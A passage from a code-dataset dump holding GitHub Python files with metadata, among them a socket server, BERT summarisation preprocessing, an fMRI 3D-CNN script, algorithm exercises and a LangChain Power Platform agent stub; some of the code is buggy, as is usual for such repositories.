QMessageBox.question(self,'!!!','Таблицы пусты!',QMessageBox.Ok)\n self.backBtnAction()\n return\n\n table.setColumnCount(len(frame[0]))\n table.setRowCount(len(frame))\n table.setHorizontalHeaderLabels(features)\n table.resizeColumnsToContents()\n\n for i in range(len(frame)):\n for j in range(len(frame[0])):\n table.setItem(i, j, QTableWidgetItem(str(frame[i][j])))\n grid_layout.addWidget(table, 0, 0)\n header = table.horizontalHeader()\n for i in range(len(frame[0])):\n header.setSectionResizeMode(i, QHeaderView.ResizeToContents)\n header.setStretchLastSection(True)\n\n self.show()\n","repo_name":"CodeSopranos/FindApp","sub_path":"FindApp/TableLayout.py","file_name":"TableLayout.py","file_ext":"py","file_size_in_byte":2249,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"74814238881","text":"import json\n\n\ndef main():\n\n\tprint('loading companies')\n\tcompanies = load_companies()\n\tprint('done')\n\n\tprint('Counting companies')\n\tyears = range(2012, 2018)\n\tfor year in years:\n\t\ttotal_companies = 0\n\t\ttotal_accounts = 0\n\t\tprint(year)\n\t\tfor company in companies:\n\t\t\tif int(company['birth_date'][:4]) <= year:\n\t\t\t\ttotal_companies += 1\n\t\t\t\tif 'assets' in company['accounts']:\n\t\t\t\t\tfor key in company['accounts']['assets']:\n\t\t\t\t\t\tif int(key[:4]) == year:\n\t\t\t\t\t\t\ttotal_accounts += 1\n\n\t\tprint('\\t', total_accounts, total_companies)\n\ndef load_companies():\n\twith open('combined_data.json', 'r') as file:\n\t\tcompanies = json.load(file)\n\n\treturn companies\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"alfredholmes/UK-Company-Data","sub_path":"Combined Data/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"71821288801","text":"# # n,m,h = map(int,input().split())\n\n# n = 5\n# m = 3\n# h = 2\n\n# # g = [[]*n for _ in range(m)] * h\n\n# # for i in range(m*h):\n# # \tg[i] = list(map(int,input().split()))\n# g = [[0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 1, 0, 0], [0, 0, 0, 0, 0]]\n# print(g)\n\n# path = [\n# \t[1,0],\n# \t[-1,0],\n# \t[0,1],\n# \t[0,-1],\n# ]\n# def start(g):\n# \tfor i in range(len(g)):\n# \t\tif 1 in g[i]:\n# \t\t\treturn (i,g[i].index(1))\n\n\n# day = 0\n\n# def dfs(x,y):\n# \tglobal day\n# \tfor i in range(4):\n# \t\tmove_x,move_y= path[i]\n# \t\tnewX = move_x + x\n# \t\tnewY = move_y + y\n# \t\tif newX <= -1 or newX >= (m*h) or newY <= -1 or newY >= n:\n# \t\t\tcontinue\n# \t\tif g[newX][newY] == -1:\n# \t\t\tcontinue\n# \t\tif g[newX][newY] == 0:\n# \t\t\tg[newX][newY] = 1\n# \t\t\tdfs(newX,newY)\n# x,y = start(g)\n# def dfs(x,y):\n# \tglobal day\n# \tfor i in range(4):\n# \t\tmove_x,move_y= path[i]\n# \t\tnewX = move_x + x\n# \t\tnewY = move_y + y\n# \t\tif newX <= -1 or newX >= (m*h) or newY <= -1 or newY >= n:\n# \t\t\tcontinue\n# \t\tif g[newX][newY] == -1:\n# \t\t\tcontinue\n# \t\tif g[newX][newY] == 0:\n# \t\t\tg[newX][newY] = 1\n# \t\t\t# dfs(newX,newY)\n# \tday+=1\n# \tdfs(x,y)\n# dfs(x,y)\n\n\n# for i in g:\n# \tif 0 in i:\n# \t\tprint(-1)\n# \telse:\n# \t\tprint(day)\n\n\n\nimport sys\nfrom collections import deque\ninput = sys.stdin.readline\n\nM,N,H = map(int,input().split())\ng = [[list(map(int,input().split())) for _ in range(N)] for _ in range(H)]\n\n\ndx = [1,-1,0,0,0,0]\ndy = [0,0,1,-1,0,0]\ndz = [0,0,0,0,1,-1]\n\nq = deque()\n\ndef BFS():\n\twhile q:\n\t\tz,x,y = q.popleft()\n\t\tfor i in range(6):\n\t\t\tnewZ = dz[i] + z\n\t\t\tnewX = dx[i] + x\n\t\t\tnewY = dy[i] + y\n\t\t\tif 0 <= newX < N and 0 <= newY < M and 0 <= newZ < H:\n\t\t\t\tif g[newZ][newX][newY] == 0:\n\t\t\t\t\tg[newZ][newX][newY] = g[z][x][y] +1\n\t\t\t\t\tq.append((newZ,newX,newY))\n\n\nfor i in range(H):\n\tfor j in range(N):\n\t\tfor k in range(M):\n\t\t\tif g[i][j][k] == 1:\n\t\t\t\tq.append((i,j,k))\n\nBFS()\n\n\nchk = True\nday =0\nfor i in range(H):\n\tfor j in range(N):\n\t\tfor k in range(M):\n\t\t\tif g[i][j][k] == 0:\n\t\t\t\tchk = False\n\t\t\tday = max(day,g[i][j][k])\n\nif chk:\n\tprint(day-1)\nelse:\n\tprint(-1)\n","repo_name":"maantano/Coding-Test","sub_path":"파이썬/2023.09.24 토마토(7569)_DFS&BFS.py","file_name":"2023.09.24 토마토(7569)_DFS&BFS.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8860810285","text":"\"\"\"\nLargest prime factor\n\nhttps://projecteuler.net/problem=3\n\nThe prime factors of 13195 are 5, 7, 13 and 29.\n\nWhat is the largest prime factor of the number 600851475143?\n\"\"\"\n\ndef prime_factors(n):\n\tfactors = []\n\twhile n > 1:\n\t\tfor d in range(2, n+1):\n\t\t\tif n % d == 0:\n\t\t\t\tfactors.append(d)\n\t\t\t\tn //= d\n\t\t\t\tbreak\n\n\treturn factors\n\nprint(prime_factors(13195))\nprint(prime_factors(600851475143))\n","repo_name":"jvbrink/euler","sub_path":"problem3.py","file_name":"problem3.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10569735007","text":"import socket\nfrom parse import *\nfrom dbTable import engine\nfrom multiprocessing import Pool\nPROCESS_NUM = 3\n\n\ndef handle_client_xml(client_socket):\n # print(f\"Run on {os.getpid()}, waiting for message\")\n try:\n length = 0\n while(1):\n received_data = client_socket.recv(1).decode(\"utf-8\")\n if received_data == \"\\n\":\n break\n elif int(received_data) < 0 or int(received_data) > 9:\n raise ValueError(\n \"Inappropriate input for xml length\")\n else:\n length = length * 10 + int(received_data)\n if length <= 0:\n raise ValueError(\n \"Length cannot be 0\")\n data = client_socket.recv(length)\n received_request = data.decode(\"utf-8\")\n # print(f\"Received xml {received_request}\")\n response = parsing_XML(received_request)\n # send a response back to the client\n client_socket.sendall(response.encode(\"utf-8\"))\n client_socket.close()\n except Exception as e:\n # traceback.print_exc()\n client_socket.sendall(str(e))\n client_socket.close()\n\n\ndef initializer(l):\n \"\"\"ensure the parent proc's database connections are not touched\n in the new connection pool\"\"\"\n engine.dispose(close=False)\n global lock\n lock = l\n\n\ndef serverLitsen():\n # create a TCP socket\n # pool = Pool(3)\n pool = Pool(PROCESS_NUM, initializer=initializer, initargs=(l,))\n # pool = Pool(2, initializer=initializer)\n init_Engine()\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n # bind the socket to a specific address and port\n server_address = ('0.0.0.0', 12345)\n print('Server is listening on {}:{}'.format(*server_address))\n server_socket.bind(server_address)\n server_socket.listen(100)\n socket_list = list()\n while(1):\n client_socket, addr = server_socket.accept()\n socket_list.append(client_socket)\n if len(socket_list) > 0:\n current_client = socket_list.pop(0)\n pool.apply_async(func=handle_client_xml, args=(current_client,))\n\n\nif __name__ == '__main__':\n serverLitsen()\n","repo_name":"WaAaaAterfall/ECE568-Exchange-Match","sub_path":"docker-deploy/src/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24155136090","text":"import glob\nimport hashlib\nimport os\nfrom os.path import join as pjoin\nimport torch\nfrom transformers import BertTokenizer\nfrom preprocessing.utils import clean, hashhex, greedy_selection\nfrom tqdm import tqdm\nimport pdb\n\n\ndef process_cnndm(f_path, lower):\n \"\"\"\n Process the tokenized CNN/DailyMail dateset with source and target tokens\n \"\"\"\n src = []\n tgt = []\n flag = False\n with open(f_path, 'r') as f:\n for sent in f:\n if (lower):\n sent = sent.lower()\n tokens = sent.split()\n\n if len(tokens) == 0:\n continue\n\n if (tokens[0] == '@highlight'):\n flag = True\n tgt.append([])\n continue\n if (flag):\n tgt[-1].extend(tokens)\n else:\n src.append(tokens)\n\n # Remove noise tokens (ex. lrb, rrb, etc.)\n src = [clean(' '.join(sent)).split() for sent in src]\n tgt = [clean(' '.join(sent)).split() for sent in tgt]\n return src, tgt\n\n\nclass BertData(object):\n def __init__(self, args):\n self.args = args\n self.tokenizer = BertTokenizer.from_pretrained('bert-base-uncased',\n do_lower_case=True,\n do_basic_tokenize=args.do_basic_tokenize)\n self.sep_token = '[SEP]'\n self.cls_token = '[CLS]'\n self.pad_token = '[PAD]'\n # self.tgt_bos = '[unused0]'\n # self.tgt_eos = '[unused1]'\n # self.tgt_sent_split = '[unused2]'\n self.sep_vid = self.tokenizer.vocab[self.sep_token]\n self.cls_vid = self.tokenizer.vocab[self.cls_token]\n self.pad_vid = self.tokenizer.vocab[self.pad_token]\n\n def preprocess(self, src, tgt, sent_labels, is_test=False):\n\n if ((not is_test) and len(src) == 0):\n return None\n\n original_src_txt = [' '.join(s) for s in src]\n\n # Filter source sentences to exclude those below the minimum token count\n idxs = [i for i, s in enumerate(src) if (len(s) > self.args.min_src_ntokens_per_sent)]\n\n # Create a binary sentence label mask\n _sent_labels = [0] * len(src)\n for l in sent_labels:\n _sent_labels[l] = 1\n\n # Truncate source sentence to be within the maximum token count \n src = [src[i][:self.args.max_src_ntokens_per_sent] for i in idxs]\n\n # The oracle extractive summary according the binary sentence label\n sent_labels = [_sent_labels[i] for i in idxs]\n\n # Truncate the source and labels to be with the maximum sentence count \n src = src[:self.args.max_src_nsents]\n sent_labels = sent_labels[:self.args.max_src_nsents]\n\n # If the number of sentences less than the minimum sentence count\n if ((not is_test) and len(src) < self.args.min_src_nsents):\n return None\n\n # Separate the source sentences with [SEP] and [CLS] tokens\n src_txt = [' '.join(sent) for sent in src]\n text = ' {} {} '.format(self.sep_token, self.cls_token).join(src_txt)\n\n # Sub-word tokens and IDs created by BERT tokenizer\n src_subtokens = self.tokenizer.tokenize(text)\n src_subtokens = [self.cls_token] + src_subtokens + [self.sep_token]\n src_subtoken_idxs = self.tokenizer.convert_tokens_to_ids(src_subtokens)\n\n # Use separator tokens to determine the length of each sentence\n _segs = [-1] + [i for (i, t) in enumerate(src_subtoken_idxs) if t == self.sep_vid]\n segs = [_segs[i] - _segs[i - 1] for i in range(1, len(_segs))]\n\n # Create binary masks as segment (sentence) embeddings \n segments_ids = []\n for i, s in enumerate(segs):\n if (i % 2 == 0):\n segments_ids += s * [0]\n else:\n segments_ids += s * [1]\n\n cls_ids = [i for i, t in enumerate(src_subtoken_idxs) if t == self.cls_vid]\n sent_labels = sent_labels[:len(cls_ids)]\n\n # Create token list and IDs for target string (for abstractive summarization)\n tgt_subtokens_str = '[unused0] ' + ' [unused2] '.join(\n [' '.join(self.tokenizer.tokenize(' '.join(tt))) for tt in tgt]) + ' [unused1]'\n tgt_subtoken = tgt_subtokens_str.split()[:self.args.max_tgt_ntokens]\n if ((not is_test) and len(tgt_subtoken) < self.args.min_tgt_ntokens):\n return None\n tgt_subtoken_idxs = self.tokenizer.convert_tokens_to_ids(tgt_subtoken)\n\n tgt_txt = ''.join([' '.join(tt) for tt in tgt])\n src_txt = [original_src_txt[i] for i in idxs]\n\n return src_subtoken_idxs, sent_labels, tgt_subtoken_idxs, segments_ids, cls_ids, src_txt, tgt_txt\n\n\ndef format_to_bert(args):\n\n corpus_types = ['val', 'test', 'train']\n if args.dataset in corpus_types:\n corpus_types = [args.dataset]\n\n # Create a dict containing the hashed names for each dataset\n corpus_mapping = {}\n for corpus_type in corpus_types:\n temp = []\n for line in open(pjoin(args.map_path, 'all_' + corpus_type + '.txt')):\n temp.append(hashhex(line.strip()))\n corpus_mapping[corpus_type] = {key.strip(): 1 for key in temp}\n\n # Create a list of dataset files according to the dict\n corpora = {corpus_type: [] for corpus_type in corpus_types}\n train_files, val_files, test_files = [], [], []\n for f in glob.glob(pjoin(args.input_path, '*.story')):\n f_name = f.split('/')[-1].split('.')[0]\n for corpus_type in corpora.keys():\n if f_name in corpus_mapping[corpus_type]:\n corpora[corpus_type].append(f)\n\n bert_data = BertData(args)\n\n\n # Construct BERT input for the corpora\n for corpus_type in corpora.keys():\n # dataset = []\n\n output_path = pjoin(args.output_path, corpus_type)\n if not os.path.exists(output_path):\n os.makedirs(output_path, exist_ok=True)\n\n for f_path in tqdm(corpora[corpus_type]):\n src, tgt = process_cnndm(f_path, args.lower)\n # dataset.append((src, tgt))\n sent_labels = greedy_selection(src[:args.max_src_nsents], tgt, 3)\n b_data = bert_data.preprocess(src, tgt, sent_labels, is_test=(corpus_type=='test'))\n\n if (b_data is None):\n continue\n\n src_subtoken_idxs, sent_labels, tgt_subtoken_idxs, segments_ids, cls_ids, src_txt, tgt_txt = b_data\n b_data_dict = {\"src\": src_subtoken_idxs, \"tgt\": tgt_subtoken_idxs,\n \"src_sent_labels\": sent_labels, \"segs\": segments_ids, 'clss': cls_ids,\n 'src_txt': src_txt, \"tgt_txt\": tgt_txt}\n\n save_path = pjoin(output_path, f\"{os.path.basename(f_path).split('.')[0]}.pt\")\n torch.save(b_data_dict, save_path)","repo_name":"raymondzmc/Attention-Pattern-Exploitation","sub_path":"preprocessing/data_builder.py","file_name":"data_builder.py","file_ext":"py","file_size_in_byte":6808,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"73548198560","text":"import argparse\nfrom langchain.agents import initialize_agent\nfrom langchain.llms import OpenAI\n# from langchain import LLMChain\n# from langchain.prompts import PromptTemplate\nimport json\nfrom langchain.agents import Tool\n# from langchain.chains.question_answering import load_qa_chain\n\nfrom flask import Flask\nfrom flask_cors import CORS\n\nfrom flask import *\nimport json, time\n\n# import custom tools\n\nllm = OpenAI(temperature=1)\n\nrequest_format_sr = '{{\"user\":\"\",\"role\":\"\"}}'\ndescription_sr = f'helps to assign security role to the user. For example, if you get a query \"assign security role system administrator to the user Dhina\", the role is System Administrator and Dhina is the user name. Another example would be \"assign the role Supervisor to John\", then Supervisor is the role and John is the user name. Input should be JSON in the following format: {request_format_sr}'\n\nrequest_format_backup = '{{\"environment\":\"\"}}'\ndescription_backup = f'helps to backup a particular environment. You would typically receive a query for example \"take a backup of the dev environment\", then dev is the envrionment name. Input should be JSON in the following format: {request_format_backup}'\n\nrequest_format_team = '{{\"user\":\"\",\"team\":\"\"}}'\ndescription_team = f'helps to add the user to a particular team. For example, if you get a query \"add Dhina to Contact Center Agents team\", then Dhina is the user name and Contact Center Agents is the team. Another example would be \"Add the user John to the Contact Center Agents\", then John is the user name and Contact Center Agents is the team. Input should be JSON in the following format: {request_format_team}'\n\nrequest_format_audit = '{{\"table\":\"\"}}'\ndescription_audit = f'helps to enable audit for a table. You would typically receive a query like \"Enable audit for Case\", then case is the table name. Another example \"Enable audit for Account entity\", then Account is the table name. Input should be JSON in the following format: {request_format_audit}'\n\ndef assign_security_role_DVAPI(user: str = None, role: str = None) -> str:\n print(\"\\nCalling Dataverse API to assign '\" + role + \"' security role to user '\" + user + \"'\")\n\ndef assign_security_role(json_request: str) -> str:\n arguments_dictionary = json.loads(json_request)\n\n user = arguments_dictionary[\"user\"]\n role = arguments_dictionary[\"role\"]\n return assign_security_role_DVAPI(user=user, role=role)\n\ndef backup_environment_DVAPI(environment: str = None) -> str:\n print(\"\\nCalling Dataverse API to backup the environment '\" + environment + \"'\")\n \n\ndef backup_environment(json_request: str) -> str:\n arguments_dictionary = json.loads(json_request)\n\n environment = arguments_dictionary[\"environment\"]\n return backup_environment_DVAPI(environment=environment)\n\ndef add_user_to_team_DVAPI(user: str = None, team: str = None) -> str:\n print(\"\\nCalling Dataverse API to add the user '\" + user + \"' to the team '\" + team + \"'\")\n\ndef add_user_to_team(json_request: str) -> str:\n arguments_dictionary = json.loads(json_request)\n\n user = arguments_dictionary[\"user\"]\n team = arguments_dictionary[\"team\"]\n return add_user_to_team_DVAPI(user=user, team=team)\n\ndef enable_audit_for_table_DVAPI(table: str = None) -> str:\n print(\"\\nCalling Dataverse API to enable audit for table '\" + table + \"'\")\n\ndef enable_audit_for_table(json_request: str) -> str:\n arguments_dictionary = json.loads(json_request)\n\n table = arguments_dictionary[\"table\"]\n return enable_audit_for_table_DVAPI(table=table)\n\ntools = [\n Tool( #assign security role\n name=\"Assign Security Role\", func=assign_security_role, description=description_sr\n ),\n Tool( #backup environment\n name=\"Backup Environment\", func=backup_environment, description=description_backup\n ),\n Tool( #add user to the team\n name=\"Add User to Team\", func=add_user_to_team, description=description_team\n ),\n Tool( #enable audit for a table\n name=\"Enable Audit for Table\", func=enable_audit_for_table, description=description_audit\n )\n]\n\n\n# Construct the react agent type.\nagent = initialize_agent(\n tools,\n llm,\n agent=\"zero-shot-react-description\",\n verbose=True\n)\n\n\n#\n# get the question asa a command line argument.\n# $ python3 weather_agent.py --question \"What about the weather today in Genova, Italy\"\n#\n# parser = argparse.ArgumentParser(description='agent calling power platform api to perform actions')\n# parser.add_argument('-q', '--question', dest='question', type=str, help='question to submit to the agent. Enclose the question sentence in quotes.', required=True)\n# args = parser.parse_args()\n\n# # run the agent\n# agent.run(args.question)\n\napp = Flask(__name__)\nCORS(app)\n\n@app.route('/request/admin/', methods=['GET'])\ndef home_page():\n query = str(request.args.get('question')) #/request/admin/?question=Dhina\n agent_response = agent.run(query)\n\n data_set = {'Message': agent_response}\n json_dump = json.dumps(data_set)\n return json_dump\n\nif __name__ == \"__main__\":\n app.run(port=7778)\n\n\n","repo_name":"dhinag/PowerPlatform-Admin-Copilot","sub_path":"lc-agent-cli/lc_pp_cli_agent.py","file_name":"lc_pp_cli_agent.py","file_ext":"py","file_size_in_byte":5154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34384068348","text":"#use the algorithm in next permutation\nclass Solution(object):\n def permuteUnique(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n nums.sort()\n result = [nums[:]]\n \n while True:\n i = len(nums) - 1\n while i > 0:\n if nums[i] > nums[i-1]:\n break\n i -= 1\n else:\n return result\n \n nums[i:] = reversed(nums[i:])\n j = i\n while j < len(nums) and nums[i-1] >= nums[j]:\n j += 1\n nums[i-1], nums[j] = nums[j], nums[i-1]\n result.append(nums[:])\n","repo_name":"TJZ1990/leetcode","sub_path":"Python/47-Permutations II-V2.py","file_name":"47-Permutations II-V2.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2238917983","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# author:ShidongDu time:2020/2/17\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n def mergeTwoLists(self, l1: ListNode, l2: ListNode) -> ListNode:\n\n # 首先建一个头结点\n head = ListNode(-1)\n p = head\n while(l1 and l2):\n if l1.val >= l2.val:\n p.next = l2\n p = p.next\n l2 = l2.next\n else:\n p.next = l1\n p = p.next\n l1 = l1.next\n if l1:\n p.next = l1\n elif l2:\n p.next = l2\n return head.next","repo_name":"weiyuyan/LeetCode","sub_path":"剑指offer/面试题25. 合并两个排序的链表.py","file_name":"面试题25. 合并两个排序的链表.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"20001641716","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport os\nfrom sklearn import svm\nfrom sklearn.model_selection import train_test_split\nfrom tensorflow.keras import layers, optimizers, losses, models\nfrom tensorflow.keras.utils import to_categorical\nfrom sklearn.preprocessing import LabelEncoder\n\nDATA_DIR = 'data_final'\n\ndef accuracy(y_pred, y_real):\n num_true = np.sum(y_pred == y_real)\n return num_true / y_real.shape[0]\n\nle = LabelEncoder()\nLABELS = ['scissors', 'face', 'cat', 'scrambledpix', 'bottle', 'chair', 'shoe', 'house']\nNUM_LABELS = len(LABELS)\nle.fit(LABELS)\n\n# PCA training and validation\nbest_models = []\nfor i in range(1, 7):\n SUBJ_DIR = os.path.join(DATA_DIR, 'subj' + str(i))\n LABELS_DIR = os.path.join(SUBJ_DIR, 'labels_temporal')\n FEATURES_DIR = os.path.join(SUBJ_DIR, 'temporal')\n\n X_train = np.load(os.path.join(FEATURES_DIR, 'train_features.npy'), allow_pickle=True)\n X_train = np.transpose(X_train, (0, 2, 3, 4, 1))\n y_train = np.load(os.path.join(LABELS_DIR, 'train_labels.npy'), allow_pickle=True)\n y_train = le.transform(y_train)\n\n print('Train data for subject %d loaded: %s %s' % (i, X_train.shape, y_train.shape))\n\n X_val = np.load(os.path.join(FEATURES_DIR, 'val_features.npy'), allow_pickle=True)\n X_val = np.transpose(X_val, (0, 2, 3, 4, 1))\n y_val = np.load(os.path.join(LABELS_DIR, 'val_labels.npy'), allow_pickle=True)\n y_val = le.transform(y_val)\n # print(y_val)\n\n batch_size = 1\n no_epochs = 45\n learning_rates = [0.00005]\n best_val_acc = 0\n for lr in learning_rates:\n model = models.Sequential()\n model.add(layers.Conv3D(8, kernel_size=(3, 3, 3), strides=(1, 1, 1), activation='relu',\n kernel_initializer='he_uniform', input_shape=(40, 64, 64, 9)))\n model.add(layers.BatchNormalization())\n model.add(layers.MaxPooling3D(pool_size=(2, 2, 2)))\n # model.add(layers.Dropout(0.35))\n # model.add(layers.Conv3D(64, kernel_size=(3, 3, 3), activation='relu', kernel_initializer='he_uniform'))\n # model.add(layers.BatchNormalization())\n # model.add(layers.MaxPooling3D(pool_size=(2, 2, 2)))\n # model.add(layers.Dropout(0.35))\n model.add(layers.Flatten())\n model.add(layers.Dense(512, activation='relu', kernel_initializer='he_uniform'))\n model.add(layers.Dense(128, activation='relu', kernel_initializer='he_uniform'))\n model.add(layers.Dense(NUM_LABELS, activation='softmax'))\n\n model.summary()\n\n model.compile(loss=losses.sparse_categorical_crossentropy, optimizer=optimizers.SGD(lr=lr, momentum=0.3),\n metrics=['accuracy'])\n model.fit(X_train, y_train, batch_size=batch_size, epochs=no_epochs, validation_data=(X_val, y_val))\n predictions = np.argmax(model.predict(X_val), axis=1)\n print(predictions, y_val)\n val_acc = accuracy(predictions, y_val)\n print('Validation Accuracy for Learning Rate %0.4f: %f' % (lr, val_acc))\n\n if (val_acc >= best_val_acc):\n best_val_acc = val_acc\n best_model = model\n\n best_models.append(best_model)\n\nprint('\\n\\n------------------------------------------\\n\\n')\n\n# PCA test\ntest_accuracies = []\nfor i, model in zip(range(1, 7), best_models):\n SUBJ_DIR = os.path.join(DATA_DIR, 'subj' + str(i))\n LABELS_DIR = os.path.join(SUBJ_DIR, 'labels_temporal')\n FEATURES_DIR = os.path.join(SUBJ_DIR, 'temporal')\n\n X_test = np.load(os.path.join(FEATURES_DIR, 'test_features.npy'), allow_pickle=True)\n X_test = np.transpose(X_test, (0, 2, 3, 4, 1))\n y_test = np.load(os.path.join(LABELS_DIR, 'test_labels.npy'), allow_pickle=True)\n\n print('Test data for subject %d loaded: %s %s' % (i, X_test.shape, y_test.shape))\n print('Best Model: %s' % model)\n\n predictions = model.predict(X_test)\n test_accuracies.append(accuracy(predictions, y_test))\nprint('Test Accuracies for Each subject', test_accuracies)\nprint('Mean and Std of Accuracies: %f, %f' % (np.mean(test_accuracies), np.std(test_accuracies)))\n\n# plot means and stds\nmeans = 100 * np.asarray([np.mean(test_accuracies_org), np.mean(test_accuracies_masked), np.mean(test_accuracies_pca),\n np.mean(test_accuracies_maskedpca)])\nstds = 100 * np.asarray([np.std(test_accuracies_org), np.std(test_accuracies_masked), np.std(test_accuracies_pca),\n np.std(test_accuracies_maskedpca)])\nreducs = ['Original', 'Masked', 'PCA', 'Masked+PCA']\n\nfig, ax = plt.subplots()\nax.bar(np.arange(4), means, yerr=stds, align='center', alpha=0.5, ecolor='black', capsize=10)\nax.set_yticks(np.arange(0, 105, 10))\nax.set_ylabel('Test Accuracy')\nax.set_xticks(np.arange(4))\nax.set_xticklabels(reducs)\nax.set_title('Mean Test Accuracies for SVM \\nwith Different Feature Reduction Pipelines')\nax.grid(True)\n\n# Save the figure and show\nplt.tight_layout()\nplt.show()\n","repo_name":"ayhokuyan/EEE482-Computational-Neuroscience","sub_path":"Project/source/3D_CNN_Subject.py","file_name":"3D_CNN_Subject.py","file_ext":"py","file_size_in_byte":4906,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"72553996323","text":"def lcm(num1, num2):\r\n arr=[]\r\n max=0\r\n product=1\r\n if num1 > num2:\r\n max = num1\r\n else:\r\n max= num2\r\n for i in range(1,max):\r\n if (num1 % i == 0 or num2 % i == 0) and num1 != i and num2 != i:\r\n arr.append(i)\r\n print(arr)\r\n\r\n for i in range(0, len(arr)):\r\n product= product* arr[i]\r\n print(product)\r\n\r\n \r\n\r\nlcm(761457, 614573 )","repo_name":"faheelsattar/Competetive-programming","sub_path":"lcm.py","file_name":"lcm.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12727696045","text":"import sympy as sp\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib\r\n\r\nmatplotlib.rcParams['font.sans-serif'] = ['STSong']\r\nmatplotlib.rcParams['axes.unicode_minus'] = False\r\n\r\nclass LeastSquarePolynomialFitting:\r\n\r\n \"\"\"\r\n powered by:@御河DE天街\\n\r\n 最小二乘拟合,可以选用不同的基函数\\n\r\n default:以1,x,x**2...等幂函数为基函数\\n\r\n ort:使用正交多项式作为基函数\\n\r\n other:使用自定义的一系列函数作为基函数\r\n \"\"\"\r\n\r\n def __init__(self, x, y, k=None, w=None, base_fun='default', fun_list = None):\r\n\r\n \"\"\"\r\n 一些必要的参数初始化\\n\r\n x, y: 离散数据点,离散数据点的长度需一致\\n\r\n k: 进行多项式拟合时,必须指定的多项式的最高阶次\\n\r\n w: 权系数,长度需与离散数据点的长度一致,默认情况下为1\\n\r\n base_fun: 所用拟合基函数的类型,默认为\"default\"\\n\r\n \"default\":以1,x,x**2...等幂函数为基函数\\n\r\n \"ort\":使用正交多项式作为基函数\\n\r\n \"other\":使用自定义的一系列函数作为基函数\\n\r\n fun_list: 自定义的基函数,当base_fun = other时,必须指定自定义基函数列表fun_list\r\n \"\"\"\r\n\r\n self.x, self.y = np.asarray(x, dtype=np.float64), np.asarray(y, dtype=np.float64)\r\n # 如果进行多项式拟合,此变量为多项式最高阶次,需要指定\r\n self.k = k\r\n if len(self.x) != len(self.y):\r\n raise ValueError(\"离散点数据长度不一致!\")\r\n else:\r\n self.n = len(self.x) # 离散点的个数\r\n if w is None:\r\n self.w = np.ones(self.n) # 默认情况下,所有数据权重一致为1\r\n else:\r\n if len(w) != self.n:\r\n raise ValueError(\"权重长度与离散数据点不一致!\")\r\n else:\r\n self.w = np.asarray(w, dtype=np.float64)\r\n if fun_list:\r\n self.fun_list = list(fun_list) # 自定义的基函数,不能带值计算\r\n self.m = len(fun_list) # 自定义基函数的个数\r\n self.fun_list1 = None # 转化后的自定义基函数,可以带值计算\r\n else:\r\n self.fun_list = None\r\n self.m = None\r\n self.ort_poly = None # 正交多项式\r\n self.base_fun = base_fun # base_fun = default(x的幂函数) or ort(正交多项式) or other(自定义基函数)\r\n self.fit_poly = None # 曲线拟合的多项式\r\n self.poly_coefficient = None # 多项式的系数向量\r\n self.polynomial_orders = None # 系数的阶次\r\n self.fit_error = None # 拟合的误差向量\r\n self.mse = np.infty # 拟合的均方根误差\r\n\r\n def fit_curve(self):\r\n\r\n \"\"\"\r\n 最小二乘法拟合\r\n \"\"\"\r\n\r\n if self.base_fun == 'default':\r\n if self.k is None:\r\n raise ValueError(\"多项式最高阶次未指定!\")\r\n else:\r\n self.__poly_fit__() \r\n elif self.base_fun == 'ort':\r\n if self.k is None:\r\n raise ValueError(\"多项式最高阶次未指定!\")\r\n else:\r\n self.__ortpoly_fit__()\r\n elif self.base_fun == 'other':\r\n if self.fun_list is None:\r\n raise ValueError(\"自定义基函数未指定!\")\r\n else:\r\n self.__other_fit__()\r\n else:\r\n raise ValueError(\"拟合方法有且只有default(x的幂函数) or ort(正交多项式) or other(自定义基函数)\")\r\n \r\n def __poly_fit__(self):\r\n\r\n \"\"\"\r\n 使用x的幂函数作为基函数\r\n \"\"\"\r\n \r\n c = np.zeros(2*self.k+1) \r\n b = np.zeros(self.k+1) # 右端向量\r\n for k in range(2*self.k+1):\r\n c[k] = np.dot(self.w, np.power(self.x, k))\r\n for k in range(self.k+1):\r\n b[k] = np.dot(self.w, np.power(self.x, k)*self.y)\r\n C = np.zeros((self.k+1,self.k+1)) # 系数矩阵\r\n for k in range(self.k+1):\r\n C[k, :] = c[k:k+self.k+1]\r\n self.poly_coefficient = np.linalg.solve(C,b)\r\n\r\n t = sp.symbols('t')\r\n self.fit_poly = self.poly_coefficient[0]*1\r\n for p in range(1,self.k+1):\r\n px = np.power(t,p) # 幂次\r\n self.fit_poly += 